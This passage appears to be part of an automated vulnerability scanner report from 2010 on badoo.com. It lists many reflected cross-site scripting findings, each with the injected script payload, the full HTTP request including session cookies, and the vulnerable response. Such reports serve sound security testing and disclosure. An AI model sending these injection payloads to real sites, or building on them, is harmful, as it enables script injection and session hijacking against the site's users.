Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:39 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5741

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/dinoitalia54fdf"><script>alert(1)</script>8916a6df4a5/?lang_id=5">
...[SNIP]...

3.22. http://badoo.com/dinoitalia/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/dinoitalia/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8094c"><script>alert(1)</script>3604b8c42d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /dinoitalia/?8094c"><script>alert(1)</script>3604b8c42d8=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:51:26 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:25 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5789

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/dinoitalia/?lang_id=5&8094c"><script>alert(1)</script>3604b8c42d8=1">
...[SNIP]...

3.23. http://badoo.com/directory/people/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/directory/people/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee4f6"><script>alert(1)</script>dfc1def2b75 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /directoryee4f6"><script>alert(1)</script>dfc1def2b75/people/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:57:38 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:37 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5837

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/directoryee4f6"><script>alert(1)</script>dfc1def2b75/people/?lang_id=5">
...[SNIP]...

3.24. http://badoo.com/doritos699/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/doritos699/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c92ff"><script>alert(1)</script>d595b365656 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /doritos699c92ff"><script>alert(1)</script>d595b365656/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1
Host: badoo.com
Proxy-Connection: keep-alive
Referer: http://badoo.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 16:24:40 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 6381

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/doritos699c92ff"><script>alert(1)</script>d595b365656/?lang_id=5&sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4">
...[SNIP]...

3.25. http://badoo.com/facebook/auth.phtml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/facebook/auth.phtml

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99bd8"><script>alert(1)</script>423d7dd8ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /facebook99bd8"><script>alert(1)</script>423d7dd8ce/auth.phtml HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:12 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:11 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5853

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/facebook99bd8"><script>alert(1)</script>423d7dd8ce/auth.phtml?lang_id=5">
...[SNIP]...

3.26. http://badoo.com/geer/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/geer/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b871b"><script>alert(1)</script>9db85b7557a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /geerb871b"><script>alert(1)</script>9db85b7557a/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:54:11 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:54:10 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5645

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/geerb871b"><script>alert(1)</script>9db85b7557a/?lang_id=5">
...[SNIP]...

3.27. http://badoo.com/guidelines/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/guidelines/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 915f9"><script>alert(1)</script>5748ec2d6f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guidelines915f9"><script>alert(1)</script>5748ec2d6f9/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:32 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:31 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5741

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/guidelines915f9"><script>alert(1)</script>5748ec2d6f9/?lang_id=5">
...[SNIP]...

3.28. http://badoo.com/guidelines/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/guidelines/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2c89"><script>alert(1)</script>6cd72623d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guidelines/?e2c89"><script>alert(1)</script>6cd72623d6=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:15 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:14 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 8959

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/guidelines/?lang_id=5&e2c89"><script>alert(1)</script>6cd72623d6=1">
...[SNIP]...

3.29. http://badoo.com/help/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/help/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28cc5"><script>alert(1)</script>81b21b0946 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /help28cc5"><script>alert(1)</script>81b21b0946/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:57:57 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:57:56 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5629

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/help28cc5"><script>alert(1)</script>81b21b0946/?lang_id=5">
...[SNIP]...

3.30. http://badoo.com/help/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/help/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dae0b"><script>alert(1)</script>481bc842bea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /help/?dae0b"><script>alert(1)</script>481bc842bea=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

3.31. http://badoo.com/import/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/import/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47078"><script>alert(1)</script>6fee153eda0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /import47078"><script>alert(1)</script>6fee153eda0/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:56:33 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:56:32 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5677

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/import47078"><script>alert(1)</script>6fee153eda0/?lang_id=5">
...[SNIP]...

3.32. http://badoo.com/import/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/import/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc706"><script>alert(1)</script>520323e515f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /import/?dc706"><script>alert(1)</script>520323e515f=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:50 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:49 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 21156

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <script>_id
...[SNIP]...
<a href="http://badoo.com/import/?lang_id=5&dc706"><script>alert(1)</script>520323e515f=1">
...[SNIP]...

3.33. http://badoo.com/karliitaalaniis/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/karliitaalaniis/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e60bc"><script>alert(1)</script>73ccb8b5773 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /karliitaalaniise60bc"><script>alert(1)</script>73ccb8b5773/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:09 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:08 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5821

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/karliitaalaniise60bc"><script>alert(1)</script>73ccb8b5773/?lang_id=5">
...[SNIP]...

3.34. http://badoo.com/languages/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/languages/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2549c"><script>alert(1)</script>24cb79a9fd8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /languages2549c"><script>alert(1)</script>24cb79a9fd8/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:51:03 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:51:02 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5725

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/languages2549c"><script>alert(1)</script>24cb79a9fd8/?lang_id=5">
...[SNIP]...

3.35. http://badoo.com/languages/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/languages/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2da14"><script>alert(1)</script>3a08eabcbe0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /languages/?2da14"><script>alert(1)</script>3a08eabcbe0=1 HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

3.36. http://badoo.com/lucasdimedio/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/lucasdimedio/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0275"><script>alert(1)</script>6102bd694a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /lucasdimediod0275"><script>alert(1)</script>6102bd694a6/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:31 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:30 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5773

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<a href="http://badoo.com/lucasdimediod0275"><script>alert(1)</script>6102bd694a6/?lang_id=5">
...[SNIP]...

3.37. http://badoo.com/nelsua/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://badoo.com
Path:	/nelsua/

Issue detail

